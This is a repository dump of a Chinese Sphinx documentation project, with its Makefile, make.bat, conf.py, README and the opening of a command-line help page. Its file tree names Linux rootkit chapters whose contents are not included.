├── .gitignore ├── Makefile ├── README.rst ├── make.bat └── source ├── conf.py ├── gnu_linux.rst ├── help.rst ├── index.rst ├── linux_rootkit.rst ├── linux_rootkit ├── entry_SYSCALL_64.rst ├── fundamentals.rst ├── images │ ├── codeinj.png │ ├── fshid.png │ ├── fsmon.png │ ├── get.png │ ├── http.png │ ├── kohid.png │ ├── komon.png │ ├── lssec.png │ ├── lssym.png │ ├── noinj.png │ ├── ping.png │ ├── pshid.png │ ├── pthid.png │ ├── rebooted.png │ ├── root-backdoor.png │ ├── set-rec.png │ ├── startup.png │ ├── sys_call_table.png │ ├── video.png │ └── write_protection.png ├── persistence.rst └── sys_call_table.rst └── using.rst /.gitignore: -------------------------------------------------------------------------------- 1 | build 2 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | # Makefile for Sphinx documentation 2 | # 3 | 4 | # You can set these variables from the command line. 5 | SPHINXOPTS = 6 | SPHINXBUILD = sphinx-build 7 | PAPER = 8 | BUILDDIR = build 9 | 10 | # User-friendly check for sphinx-build 11 | ifeq ($(shell which $(SPHINXBUILD) >/dev/null 2>&1; echo $$?), 1) 12 | $(error The '$(SPHINXBUILD)' command was not found. Make sure you have Sphinx installed, then set the SPHINXBUILD environment variable to point to the full path of the '$(SPHINXBUILD)' executable. Alternatively you can add the directory with the executable to your PATH. If you don't have Sphinx installed, grab it from http://sphinx-doc.org/) 13 | endif 14 | 15 | # Internal variables. 16 | PAPEROPT_a4 = -D latex_paper_size=a4 17 | PAPEROPT_letter = -D latex_paper_size=letter 18 | ALLSPHINXOPTS = -d $(BUILDDIR)/doctrees $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) source 19 | # the i18n builder cannot share the environment and doctrees with the others 20 | I18NSPHINXOPTS = $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) source 21 | 22 | .PHONY: help 23 | help: 24 | @echo "Please use \`make ' where is one of" 25 | @echo " html to make standalone HTML files" 26 | @echo " dirhtml to make HTML files named index.html in directories" 27 | @echo " singlehtml to make a single large HTML file" 28 | @echo " pickle to make pickle files" 29 | @echo " json to make JSON files" 30 | @echo " htmlhelp to make HTML files and a HTML help project" 31 | @echo " qthelp to make HTML files and a qthelp project" 32 | @echo " applehelp to make an Apple Help Book" 33 | @echo " devhelp to make HTML files and a Devhelp project" 34 | @echo " epub to make an epub" 35 | @echo " latex to make LaTeX files, you can set PAPER=a4 or PAPER=letter" 36 | @echo " latexpdf to make LaTeX files and run them through pdflatex" 37 | @echo " latexpdfja to make LaTeX files and run them through platex/dvipdfmx" 38 | @echo " text to make text files" 39 | @echo " man to make manual pages" 40 | @echo " texinfo to make Texinfo files" 41 | @echo " info to make Texinfo files and run them through makeinfo" 42 | @echo " gettext to make PO message catalogs" 43 | @echo " changes to make an overview of all changed/added/deprecated items" 44 | @echo " xml to make Docutils-native XML files" 45 | @echo " pseudoxml to make pseudoxml-XML files for display purposes" 46 | @echo " linkcheck to check all external links for integrity" 47 | @echo " doctest to run all doctests embedded in the documentation (if enabled)" 48 | @echo " coverage to run coverage check of the documentation (if enabled)" 49 | 50 | .PHONY: clean 51 | clean: 52 | rm -rf $(BUILDDIR)/* 53 | 54 | .PHONY: html 55 | html: 56 | $(SPHINXBUILD) -b html $(ALLSPHINXOPTS) $(BUILDDIR)/html 57 | @echo 58 | @echo "Build finished. The HTML pages are in $(BUILDDIR)/html." 59 | 60 | .PHONY: dirhtml 61 | dirhtml: 62 | $(SPHINXBUILD) -b dirhtml $(ALLSPHINXOPTS) $(BUILDDIR)/dirhtml 63 | @echo 64 | @echo "Build finished. The HTML pages are in $(BUILDDIR)/dirhtml." 65 | 66 | .PHONY: singlehtml 67 | singlehtml: 68 | $(SPHINXBUILD) -b singlehtml $(ALLSPHINXOPTS) $(BUILDDIR)/singlehtml 69 | @echo 70 | @echo "Build finished. The HTML page is in $(BUILDDIR)/singlehtml." 71 | 72 | .PHONY: pickle 73 | pickle: 74 | $(SPHINXBUILD) -b pickle $(ALLSPHINXOPTS) $(BUILDDIR)/pickle 75 | @echo 76 | @echo "Build finished; now you can process the pickle files." 77 | 78 | .PHONY: json 79 | json: 80 | $(SPHINXBUILD) -b json $(ALLSPHINXOPTS) $(BUILDDIR)/json 81 | @echo 82 | @echo "Build finished; now you can process the JSON files." 83 | 84 | .PHONY: htmlhelp 85 | htmlhelp: 86 | $(SPHINXBUILD) -b htmlhelp $(ALLSPHINXOPTS) $(BUILDDIR)/htmlhelp 87 | @echo 88 | @echo "Build finished; now you can run HTML Help Workshop with the" \ 89 | ".hhp project file in $(BUILDDIR)/htmlhelp." 90 | 91 | .PHONY: qthelp 92 | qthelp: 93 | $(SPHINXBUILD) -b qthelp $(ALLSPHINXOPTS) $(BUILDDIR)/qthelp 94 | @echo 95 | @echo "Build finished; now you can run "qcollectiongenerator" with the" \ 96 | ".qhcp project file in $(BUILDDIR)/qthelp, like this:" 97 | @echo "# qcollectiongenerator $(BUILDDIR)/qthelp/DocsConquerTheUniverse.qhcp" 98 | @echo "To view the help file:" 99 | @echo "# assistant -collectionFile $(BUILDDIR)/qthelp/DocsConquerTheUniverse.qhc" 100 | 101 | .PHONY: applehelp 102 | applehelp: 103 | $(SPHINXBUILD) -b applehelp $(ALLSPHINXOPTS) $(BUILDDIR)/applehelp 104 | @echo 105 | @echo "Build finished. The help book is in $(BUILDDIR)/applehelp." 106 | @echo "N.B. You won't be able to view it unless you put it in" \ 107 | "~/Library/Documentation/Help or install it in your application" \ 108 | "bundle." 109 | 110 | .PHONY: devhelp 111 | devhelp: 112 | $(SPHINXBUILD) -b devhelp $(ALLSPHINXOPTS) $(BUILDDIR)/devhelp 113 | @echo 114 | @echo "Build finished." 115 | @echo "To view the help file:" 116 | @echo "# mkdir -p $$HOME/.local/share/devhelp/DocsConquerTheUniverse" 117 | @echo "# ln -s $(BUILDDIR)/devhelp $$HOME/.local/share/devhelp/DocsConquerTheUniverse" 118 | @echo "# devhelp" 119 | 120 | .PHONY: epub 121 | epub: 122 | $(SPHINXBUILD) -b epub $(ALLSPHINXOPTS) $(BUILDDIR)/epub 123 | @echo 124 | @echo "Build finished. The epub file is in $(BUILDDIR)/epub." 125 | 126 | .PHONY: latex 127 | latex: 128 | $(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex 129 | @echo 130 | @echo "Build finished; the LaTeX files are in $(BUILDDIR)/latex." 131 | @echo "Run \`make' in that directory to run these through (pdf)latex" \ 132 | "(use \`make latexpdf' here to do that automatically)." 133 | 134 | .PHONY: latexpdf 135 | latexpdf: 136 | $(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex 137 | @echo "Running LaTeX files through pdflatex..." 138 | $(MAKE) -C $(BUILDDIR)/latex all-pdf 139 | @echo "pdflatex finished; the PDF files are in $(BUILDDIR)/latex." 140 | 141 | .PHONY: latexpdfja 142 | latexpdfja: 143 | $(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex 144 | @echo "Running LaTeX files through platex and dvipdfmx..." 145 | $(MAKE) -C $(BUILDDIR)/latex all-pdf-ja 146 | @echo "pdflatex finished; the PDF files are in $(BUILDDIR)/latex." 147 | 148 | .PHONY: text 149 | text: 150 | $(SPHINXBUILD) -b text $(ALLSPHINXOPTS) $(BUILDDIR)/text 151 | @echo 152 | @echo "Build finished. The text files are in $(BUILDDIR)/text." 153 | 154 | .PHONY: man 155 | man: 156 | $(SPHINXBUILD) -b man $(ALLSPHINXOPTS) $(BUILDDIR)/man 157 | @echo 158 | @echo "Build finished. The manual pages are in $(BUILDDIR)/man." 159 | 160 | .PHONY: texinfo 161 | texinfo: 162 | $(SPHINXBUILD) -b texinfo $(ALLSPHINXOPTS) $(BUILDDIR)/texinfo 163 | @echo 164 | @echo "Build finished. The Texinfo files are in $(BUILDDIR)/texinfo." 165 | @echo "Run \`make' in that directory to run these through makeinfo" \ 166 | "(use \`make info' here to do that automatically)." 167 | 168 | .PHONY: info 169 | info: 170 | $(SPHINXBUILD) -b texinfo $(ALLSPHINXOPTS) $(BUILDDIR)/texinfo 171 | @echo "Running Texinfo files through makeinfo..." 172 | make -C $(BUILDDIR)/texinfo info 173 | @echo "makeinfo finished; the Info files are in $(BUILDDIR)/texinfo." 174 | 175 | .PHONY: gettext 176 | gettext: 177 | $(SPHINXBUILD) -b gettext $(I18NSPHINXOPTS) $(BUILDDIR)/locale 178 | @echo 179 | @echo "Build finished. The message catalogs are in $(BUILDDIR)/locale." 180 | 181 | .PHONY: changes 182 | changes: 183 | $(SPHINXBUILD) -b changes $(ALLSPHINXOPTS) $(BUILDDIR)/changes 184 | @echo 185 | @echo "The overview file is in $(BUILDDIR)/changes." 186 | 187 | .PHONY: linkcheck 188 | linkcheck: 189 | $(SPHINXBUILD) -b linkcheck $(ALLSPHINXOPTS) $(BUILDDIR)/linkcheck 190 | @echo 191 | @echo "Link check complete; look for any errors in the above output " \ 192 | "or in $(BUILDDIR)/linkcheck/output.txt." 193 | 194 | .PHONY: doctest 195 | doctest: 196 | $(SPHINXBUILD) -b doctest $(ALLSPHINXOPTS) $(BUILDDIR)/doctest 197 | @echo "Testing of doctests in the sources finished, look at the " \ 198 | "results in $(BUILDDIR)/doctest/output.txt." 199 | 200 | .PHONY: coverage 201 | coverage: 202 | $(SPHINXBUILD) -b coverage $(ALLSPHINXOPTS) $(BUILDDIR)/coverage 203 | @echo "Testing of coverage in the sources finished, look at the " \ 204 | "results in $(BUILDDIR)/coverage/python.txt." 205 | 206 | .PHONY: xml 207 | xml: 208 | $(SPHINXBUILD) -b xml $(ALLSPHINXOPTS) $(BUILDDIR)/xml 209 | @echo 210 | @echo "Build finished. The XML files are in $(BUILDDIR)/xml." 211 | 212 | .PHONY: pseudoxml 213 | pseudoxml: 214 | $(SPHINXBUILD) -b pseudoxml $(ALLSPHINXOPTS) $(BUILDDIR)/pseudoxml 215 | @echo 216 | @echo "Build finished. The pseudo-XML files are in $(BUILDDIR)/pseudoxml." 217 | -------------------------------------------------------------------------------- /README.rst: -------------------------------------------------------------------------------- 1 | 中文文档项目 2 | ============ 3 | 4 | 5 | 前言 6 | ---- 7 | 8 | 看得一手好文档,走遍天下都不怕; 9 | 10 | 写得一手好文档,打遍天下无敌手。 11 | 12 | 13 | 地址 14 | ---- 15 | 16 | 前往 http://docs-conquer-the-universe.readthedocs.io/。 17 | 18 | 19 | 说明 20 | ---- 21 | 22 | 本仓库需要保证足够的准确性,所以任何已知问题,都必须优先地迅速处理、修正。 23 | -------------------------------------------------------------------------------- /make.bat: -------------------------------------------------------------------------------- 1 | @ECHO OFF 2 | 3 | REM Command file for Sphinx documentation 4 | 5 | if "%SPHINXBUILD%" == "" ( 6 | set SPHINXBUILD=sphinx-build 7 | ) 8 | set BUILDDIR=build 9 | set ALLSPHINXOPTS=-d %BUILDDIR%/doctrees %SPHINXOPTS% source 10 | set I18NSPHINXOPTS=%SPHINXOPTS% source 11 | if NOT "%PAPER%" == "" ( 12 | set ALLSPHINXOPTS=-D latex_paper_size=%PAPER% %ALLSPHINXOPTS% 13 | set I18NSPHINXOPTS=-D latex_paper_size=%PAPER% %I18NSPHINXOPTS% 14 | ) 15 | 16 | if "%1" == "" goto help 17 | 18 | if "%1" == "help" ( 19 | :help 20 | echo.Please use `make ^` where ^ is one of 21 | echo. html to make standalone HTML files 22 | echo. dirhtml to make HTML files named index.html in directories 23 | echo. singlehtml to make a single large HTML file 24 | echo. pickle to make pickle files 25 | echo. json to make JSON files 26 | echo. htmlhelp to make HTML files and a HTML help project 27 | echo. qthelp to make HTML files and a qthelp project 28 | echo. devhelp to make HTML files and a Devhelp project 29 | echo. epub to make an epub 30 | echo. latex to make LaTeX files, you can set PAPER=a4 or PAPER=letter 31 | echo. text to make text files 32 | echo. man to make manual pages 33 | echo. texinfo to make Texinfo files 34 | echo. gettext to make PO message catalogs 35 | echo. changes to make an overview over all changed/added/deprecated items 36 | echo. xml to make Docutils-native XML files 37 | echo. pseudoxml to make pseudoxml-XML files for display purposes 38 | echo. linkcheck to check all external links for integrity 39 | echo. doctest to run all doctests embedded in the documentation if enabled 40 | echo. coverage to run coverage check of the documentation if enabled 41 | goto end 42 | ) 43 | 44 | if "%1" == "clean" ( 45 | for /d %%i in (%BUILDDIR%\*) do rmdir /q /s %%i 46 | del /q /s %BUILDDIR%\* 47 | goto end 48 | ) 49 | 50 | 51 | REM Check if sphinx-build is available and fallback to Python version if any 52 | %SPHINXBUILD% 1>NUL 2>NUL 53 | if errorlevel 9009 goto sphinx_python 54 | goto sphinx_ok 55 | 56 | :sphinx_python 57 | 58 | set SPHINXBUILD=python -m sphinx.__init__ 59 | %SPHINXBUILD% 2> nul 60 | if errorlevel 9009 ( 61 | echo. 62 | echo.The 'sphinx-build' command was not found. Make sure you have Sphinx 63 | echo.installed, then set the SPHINXBUILD environment variable to point 64 | echo.to the full path of the 'sphinx-build' executable. Alternatively you 65 | echo.may add the Sphinx directory to PATH. 66 | echo. 67 | echo.If you don't have Sphinx installed, grab it from 68 | echo.http://sphinx-doc.org/ 69 | exit /b 1 70 | ) 71 | 72 | :sphinx_ok 73 | 74 | 75 | if "%1" == "html" ( 76 | %SPHINXBUILD% -b html %ALLSPHINXOPTS% %BUILDDIR%/html 77 | if errorlevel 1 exit /b 1 78 | echo. 79 | echo.Build finished. The HTML pages are in %BUILDDIR%/html. 80 | goto end 81 | ) 82 | 83 | if "%1" == "dirhtml" ( 84 | %SPHINXBUILD% -b dirhtml %ALLSPHINXOPTS% %BUILDDIR%/dirhtml 85 | if errorlevel 1 exit /b 1 86 | echo. 87 | echo.Build finished. The HTML pages are in %BUILDDIR%/dirhtml. 88 | goto end 89 | ) 90 | 91 | if "%1" == "singlehtml" ( 92 | %SPHINXBUILD% -b singlehtml %ALLSPHINXOPTS% %BUILDDIR%/singlehtml 93 | if errorlevel 1 exit /b 1 94 | echo. 95 | echo.Build finished. The HTML pages are in %BUILDDIR%/singlehtml. 96 | goto end 97 | ) 98 | 99 | if "%1" == "pickle" ( 100 | %SPHINXBUILD% -b pickle %ALLSPHINXOPTS% %BUILDDIR%/pickle 101 | if errorlevel 1 exit /b 1 102 | echo. 103 | echo.Build finished; now you can process the pickle files. 104 | goto end 105 | ) 106 | 107 | if "%1" == "json" ( 108 | %SPHINXBUILD% -b json %ALLSPHINXOPTS% %BUILDDIR%/json 109 | if errorlevel 1 exit /b 1 110 | echo. 111 | echo.Build finished; now you can process the JSON files. 112 | goto end 113 | ) 114 | 115 | if "%1" == "htmlhelp" ( 116 | %SPHINXBUILD% -b htmlhelp %ALLSPHINXOPTS% %BUILDDIR%/htmlhelp 117 | if errorlevel 1 exit /b 1 118 | echo. 119 | echo.Build finished; now you can run HTML Help Workshop with the ^ 120 | .hhp project file in %BUILDDIR%/htmlhelp. 121 | goto end 122 | ) 123 | 124 | if "%1" == "qthelp" ( 125 | %SPHINXBUILD% -b qthelp %ALLSPHINXOPTS% %BUILDDIR%/qthelp 126 | if errorlevel 1 exit /b 1 127 | echo. 128 | echo.Build finished; now you can run "qcollectiongenerator" with the ^ 129 | .qhcp project file in %BUILDDIR%/qthelp, like this: 130 | echo.^> qcollectiongenerator %BUILDDIR%\qthelp\DocsConquerTheUniverse.qhcp 131 | echo.To view the help file: 132 | echo.^> assistant -collectionFile %BUILDDIR%\qthelp\DocsConquerTheUniverse.ghc 133 | goto end 134 | ) 135 | 136 | if "%1" == "devhelp" ( 137 | %SPHINXBUILD% -b devhelp %ALLSPHINXOPTS% %BUILDDIR%/devhelp 138 | if errorlevel 1 exit /b 1 139 | echo. 140 | echo.Build finished. 141 | goto end 142 | ) 143 | 144 | if "%1" == "epub" ( 145 | %SPHINXBUILD% -b epub %ALLSPHINXOPTS% %BUILDDIR%/epub 146 | if errorlevel 1 exit /b 1 147 | echo. 148 | echo.Build finished. The epub file is in %BUILDDIR%/epub. 149 | goto end 150 | ) 151 | 152 | if "%1" == "latex" ( 153 | %SPHINXBUILD% -b latex %ALLSPHINXOPTS% %BUILDDIR%/latex 154 | if errorlevel 1 exit /b 1 155 | echo. 156 | echo.Build finished; the LaTeX files are in %BUILDDIR%/latex. 157 | goto end 158 | ) 159 | 160 | if "%1" == "latexpdf" ( 161 | %SPHINXBUILD% -b latex %ALLSPHINXOPTS% %BUILDDIR%/latex 162 | cd %BUILDDIR%/latex 163 | make all-pdf 164 | cd %~dp0 165 | echo. 166 | echo.Build finished; the PDF files are in %BUILDDIR%/latex. 167 | goto end 168 | ) 169 | 170 | if "%1" == "latexpdfja" ( 171 | %SPHINXBUILD% -b latex %ALLSPHINXOPTS% %BUILDDIR%/latex 172 | cd %BUILDDIR%/latex 173 | make all-pdf-ja 174 | cd %~dp0 175 | echo. 176 | echo.Build finished; the PDF files are in %BUILDDIR%/latex. 177 | goto end 178 | ) 179 | 180 | if "%1" == "text" ( 181 | %SPHINXBUILD% -b text %ALLSPHINXOPTS% %BUILDDIR%/text 182 | if errorlevel 1 exit /b 1 183 | echo. 184 | echo.Build finished. The text files are in %BUILDDIR%/text. 185 | goto end 186 | ) 187 | 188 | if "%1" == "man" ( 189 | %SPHINXBUILD% -b man %ALLSPHINXOPTS% %BUILDDIR%/man 190 | if errorlevel 1 exit /b 1 191 | echo. 192 | echo.Build finished. The manual pages are in %BUILDDIR%/man. 193 | goto end 194 | ) 195 | 196 | if "%1" == "texinfo" ( 197 | %SPHINXBUILD% -b texinfo %ALLSPHINXOPTS% %BUILDDIR%/texinfo 198 | if errorlevel 1 exit /b 1 199 | echo. 200 | echo.Build finished. The Texinfo files are in %BUILDDIR%/texinfo. 201 | goto end 202 | ) 203 | 204 | if "%1" == "gettext" ( 205 | %SPHINXBUILD% -b gettext %I18NSPHINXOPTS% %BUILDDIR%/locale 206 | if errorlevel 1 exit /b 1 207 | echo. 208 | echo.Build finished. The message catalogs are in %BUILDDIR%/locale. 209 | goto end 210 | ) 211 | 212 | if "%1" == "changes" ( 213 | %SPHINXBUILD% -b changes %ALLSPHINXOPTS% %BUILDDIR%/changes 214 | if errorlevel 1 exit /b 1 215 | echo. 216 | echo.The overview file is in %BUILDDIR%/changes. 217 | goto end 218 | ) 219 | 220 | if "%1" == "linkcheck" ( 221 | %SPHINXBUILD% -b linkcheck %ALLSPHINXOPTS% %BUILDDIR%/linkcheck 222 | if errorlevel 1 exit /b 1 223 | echo. 224 | echo.Link check complete; look for any errors in the above output ^ 225 | or in %BUILDDIR%/linkcheck/output.txt. 226 | goto end 227 | ) 228 | 229 | if "%1" == "doctest" ( 230 | %SPHINXBUILD% -b doctest %ALLSPHINXOPTS% %BUILDDIR%/doctest 231 | if errorlevel 1 exit /b 1 232 | echo. 233 | echo.Testing of doctests in the sources finished, look at the ^ 234 | results in %BUILDDIR%/doctest/output.txt. 235 | goto end 236 | ) 237 | 238 | if "%1" == "coverage" ( 239 | %SPHINXBUILD% -b coverage %ALLSPHINXOPTS% %BUILDDIR%/coverage 240 | if errorlevel 1 exit /b 1 241 | echo. 242 | echo.Testing of coverage in the sources finished, look at the ^ 243 | results in %BUILDDIR%/coverage/python.txt. 244 | goto end 245 | ) 246 | 247 | if "%1" == "xml" ( 248 | %SPHINXBUILD% -b xml %ALLSPHINXOPTS% %BUILDDIR%/xml 249 | if errorlevel 1 exit /b 1 250 | echo. 251 | echo.Build finished. The XML files are in %BUILDDIR%/xml. 252 | goto end 253 | ) 254 | 255 | if "%1" == "pseudoxml" ( 256 | %SPHINXBUILD% -b pseudoxml %ALLSPHINXOPTS% %BUILDDIR%/pseudoxml 257 | if errorlevel 1 exit /b 1 258 | echo. 259 | echo.Build finished. The pseudo-XML files are in %BUILDDIR%/pseudoxml. 260 | goto end 261 | ) 262 | 263 | :end 264 | -------------------------------------------------------------------------------- /source/conf.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # 4 | # Docs Conquer The Universe documentation build configuration file, created by 5 | # sphinx-quickstart on Mon Apr 4 09:51:23 2016. 6 | # 7 | # This file is execfile()d with the current directory set to its 8 | # containing dir. 9 | # 10 | # Note that not all possible configuration values are present in this 11 | # autogenerated file. 12 | # 13 | # All configuration values have a default; values that are commented out 14 | # serve to show the default. 15 | 16 | import sys 17 | import os 18 | 19 | # If extensions (or modules to document with autodoc) are in another directory, 20 | # add these directories to sys.path here. If the directory is relative to the 21 | # documentation root, use os.path.abspath to make it absolute, like shown here. 22 | #sys.path.insert(0, os.path.abspath('.')) 23 | 24 | # -- General configuration ------------------------------------------------ 25 | 26 | # If your documentation needs a minimal Sphinx version, state it here. 27 | #needs_sphinx = '1.0' 28 | 29 | # Add any Sphinx extension module names here, as strings. They can be 30 | # extensions coming with Sphinx (named 'sphinx.ext.*') or your custom 31 | # ones. 32 | extensions = [ 33 | 'sphinx.ext.pngmath', 34 | ] 35 | 36 | # Add any paths that contain templates here, relative to this directory. 37 | templates_path = ['_templates'] 38 | 39 | # The suffix(es) of source filenames. 40 | # You can specify multiple suffix as a list of string: 41 | # source_suffix = ['.rst', '.md'] 42 | source_suffix = '.rst' 43 | 44 | # The encoding of source files. 45 | #source_encoding = 'utf-8-sig' 46 | 47 | # The master toctree document. 48 | master_doc = 'index' 49 | 50 | # General information about the project. 51 | project = u'LibreCrops 中文文档项目' 52 | copyright = '2016, Gu Zhengxiong' 53 | author = 'Gu Zhengxiong' 54 | 55 | # The version info for the project you're documenting, acts as replacement for 56 | # |version| and |release|, also used in various other places throughout the 57 | # built documents. 58 | # 59 | # The short X.Y version. 60 | version = '0.2.0-git' 61 | # The full version, including alpha/beta/rc tags. 62 | release = '0.2.0-git' 63 | 64 | # The language for content autogenerated by Sphinx. Refer to documentation 65 | # for a list of supported languages. 66 | # 67 | # This is also used if you do content translation via gettext catalogs. 68 | # Usually you set "language" from the command line for these cases. 69 | language = 'zh_CN' 70 | 71 | # There are two options for replacing |today|: either, you set today to some 72 | # non-false value, then it is used: 73 | #today = '' 74 | # Else, today_fmt is used as the format for a strftime call. 75 | #today_fmt = '%B %d, %Y' 76 | 77 | # List of patterns, relative to source directory, that match files and 78 | # directories to ignore when looking for source files. 79 | exclude_patterns = [] 80 | 81 | # The reST default role (used for this markup: `text`) to use for all 82 | # documents. 83 | #default_role = None 84 | 85 | # If true, '()' will be appended to :func: etc. cross-reference text. 86 | #add_function_parentheses = True 87 | 88 | # If true, the current module name will be prepended to all description 89 | # unit titles (such as .. function::). 90 | #add_module_names = True 91 | 92 | # If true, sectionauthor and moduleauthor directives will be shown in the 93 | # output. They are ignored by default. 94 | #show_authors = False 95 | 96 | # The name of the Pygments (syntax highlighting) style to use. 97 | pygments_style = 'sphinx' 98 | 99 | # A list of ignored prefixes for module index sorting. 100 | #modindex_common_prefix = [] 101 | 102 | # If true, keep warnings as "system message" paragraphs in the built documents. 103 | #keep_warnings = False 104 | 105 | # If true, `todo` and `todoList` produce output, else they produce nothing. 106 | todo_include_todos = False 107 | 108 | 109 | # -- Options for HTML output ---------------------------------------------- 110 | 111 | # The theme to use for HTML and HTML Help pages. See the documentation for 112 | # a list of builtin themes. 113 | html_theme = 'sphinx_rtd_theme' 114 | 115 | # Theme options are theme-specific and customize the look and feel of a theme 116 | # further. For a list of options available for each theme, see the 117 | # documentation. 118 | #html_theme_options = {} 119 | 120 | # Add any paths that contain custom themes here, relative to this directory. 121 | #html_theme_path = [] 122 | 123 | # The name for this set of Sphinx documents. If None, it defaults to 124 | # " v documentation". 125 | #html_title = None 126 | 127 | # A shorter title for the navigation bar. Default is the same as html_title. 128 | #html_short_title = None 129 | 130 | # The name of an image file (relative to this directory) to place at the top 131 | # of the sidebar. 132 | #html_logo = None 133 | 134 | # The name of an image file (relative to this directory) to use as a favicon of 135 | # the docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32 136 | # pixels large. 137 | #html_favicon = None 138 | 139 | # Add any paths that contain custom static files (such as style sheets) here, 140 | # relative to this directory. They are copied after the builtin static files, 141 | # so a file named "default.css" will overwrite the builtin "default.css". 142 | html_static_path = ['_static'] 143 | 144 | # Add any extra paths that contain custom files (such as robots.txt or 145 | # .htaccess) here, relative to this directory. These files are copied 146 | # directly to the root of the documentation. 147 | #html_extra_path = [] 148 | 149 | # If not '', a 'Last updated on:' timestamp is inserted at every page bottom, 150 | # using the given strftime format. 151 | #html_last_updated_fmt = '%b %d, %Y' 152 | 153 | # If true, SmartyPants will be used to convert quotes and dashes to 154 | # typographically correct entities. 155 | #html_use_smartypants = True 156 | 157 | # Custom sidebar templates, maps document names to template names. 158 | #html_sidebars = {} 159 | 160 | # Additional templates that should be rendered to pages, maps page names to 161 | # template names. 162 | #html_additional_pages = {} 163 | 164 | # If false, no module index is generated. 165 | #html_domain_indices = True 166 | 167 | # If false, no index is generated. 168 | #html_use_index = True 169 | 170 | # If true, the index is split into individual pages for each letter. 171 | #html_split_index = False 172 | 173 | # If true, links to the reST sources are added to the pages. 174 | #html_show_sourcelink = True 175 | 176 | # If true, "Created using Sphinx" is shown in the HTML footer. Default is True. 177 | #html_show_sphinx = True 178 | 179 | # If true, "(C) Copyright ..." is shown in the HTML footer. Default is True. 180 | #html_show_copyright = True 181 | 182 | # If true, an OpenSearch description file will be output, and all pages will 183 | # contain a tag referring to it. The value of this option must be the 184 | # base URL from which the finished HTML is served. 185 | #html_use_opensearch = '' 186 | 187 | # This is the file name suffix for HTML files (e.g. ".xhtml"). 188 | #html_file_suffix = None 189 | 190 | # Language to be used for generating the HTML full-text search index. 191 | # Sphinx supports the following languages: 192 | # 'da', 'de', 'en', 'es', 'fi', 'fr', 'h', 'it', 'ja' 193 | # 'nl', 'no', 'pt', 'ro', 'r', 'sv', 'tr' 194 | #html_search_language = 'en' 195 | 196 | # A dictionary with options for the search language support, empty by default. 197 | # Now only 'ja' uses this config value 198 | #html_search_options = {'type': 'default'} 199 | 200 | # The name of a javascript file (relative to the configuration directory) that 201 | # implements a search results scorer. If empty, the default will be used. 202 | #html_search_scorer = 'scorer.js' 203 | 204 | # Output file base name for HTML help builder. 205 | htmlhelp_basename = 'DocsConquerTheUniversedoc' 206 | 207 | # -- Options for LaTeX output --------------------------------------------- 208 | 209 | latex_elements = { 210 | # The paper size ('letterpaper' or 'a4paper'). 211 | #'papersize': 'letterpaper', 212 | 213 | # The font size ('10pt', '11pt' or '12pt'). 214 | #'pointsize': '10pt', 215 | 216 | # Additional stuff for the LaTeX preamble. 217 | #'preamble': '', 218 | 219 | # Latex figure (float) alignment 220 | #'figure_align': 'htbp', 221 | } 222 | 223 | # Grouping the document tree into LaTeX files. List of tuples 224 | # (source start file, target name, title, 225 | # author, documentclass [howto, manual, or own class]). 226 | latex_documents = [ 227 | (master_doc, 'DocsConquerTheUniverse.tex', 'Docs Conquer The Universe Documentation', 228 | 'Gu Zhengxiong', 'manual'), 229 | ] 230 | 231 | # The name of an image file (relative to this directory) to place at the top of 232 | # the title page. 233 | #latex_logo = None 234 | 235 | # For "manual" documents, if this is true, then toplevel headings are parts, 236 | # not chapters. 237 | #latex_use_parts = False 238 | 239 | # If true, show page references after internal links. 240 | #latex_show_pagerefs = False 241 | 242 | # If true, show URL addresses after external links. 243 | #latex_show_urls = False 244 | 245 | # Documents to append as an appendix to all manuals. 246 | #latex_appendices = [] 247 | 248 | # If false, no module index is generated. 249 | #latex_domain_indices = True 250 | 251 | 252 | # -- Options for manual page output --------------------------------------- 253 | 254 | # One entry per manual page. List of tuples 255 | # (source start file, name, description, authors, manual section). 256 | man_pages = [ 257 | (master_doc, 'docsconquertheuniverse', 'Docs Conquer The Universe Documentation', 258 | [author], 1) 259 | ] 260 | 261 | # If true, show URL addresses after external links. 262 | #man_show_urls = False 263 | 264 | 265 | # -- Options for Texinfo output ------------------------------------------- 266 | 267 | # Grouping the document tree into Texinfo files. List of tuples 268 | # (source start file, target name, title, author, 269 | # dir menu entry, description, category) 270 | texinfo_documents = [ 271 | (master_doc, 'DocsConquerTheUniverse', 'Docs Conquer The Universe Documentation', 272 | author, 'DocsConquerTheUniverse', 'One line description of project.', 273 | 'Miscellaneous'), 274 | ] 275 | 276 | # Documents to append as an appendix to all manuals. 277 | #texinfo_appendices = [] 278 | 279 | # If false, no module index is generated. 280 | #texinfo_domain_indices = True 281 | 282 | # How to display URL addresses: 'footnote', 'no', or 'inline'. 283 | #texinfo_show_urls = 'footnote' 284 | 285 | # If true, do not generate a @detailmenu in the "Top" node's menu. 286 | #texinfo_no_detailmenu = False 287 | -------------------------------------------------------------------------------- /source/gnu_linux.rst: -------------------------------------------------------------------------------- 1 | GNU/Linux 系统安全 2 | ================== 3 | 4 | 5 | .. toctree:: 6 | :maxdepth: -1 7 | 8 | linux_rootkit 9 | -------------------------------------------------------------------------------- /source/help.rst: -------------------------------------------------------------------------------- 1 | 基本帮助 2 | ======== 3 | 4 | 5 | 1. 如何寻求机器的帮助 6 | --------------------- 7 | 8 | 9 | 本文档所说的 ``机器的帮助`` 指的是自包含的 **离线** 文档。 10 | 11 | 12 | 1.1. 命令行 13 | +++++++++++ 14 | 15 | 1.1.1. 内置帮助 16 | *************** 17 | 18 | - 外部命令 19 | 20 | UNIX_ / POSIX_ / Linux_ 环境下的命令行程序如果不提供 ``--help`` , 21 | 都是耍流氓, 22 | 比如说 OpenSSH_ 提供的 ``ssh``, ``ssh-keygen``, ``ssh-add`` 23 | 与 ``ssh-agent`` 等命令,全都耍流氓。 24 | (的确,他们收到 ``--help`` 的时候会显示简要的使用信息, 25 | 然而那是因为他们不认得 ``--help`` , 26 | 而不是因为他们提供了 ``--help`` 。 27 | 毕竟 OpenSSH_ 是 BSD_ 风格的程序。我喜欢 GNU_ 风格的程序。) 28 | 29 | 30 | - Bash_ 31 | 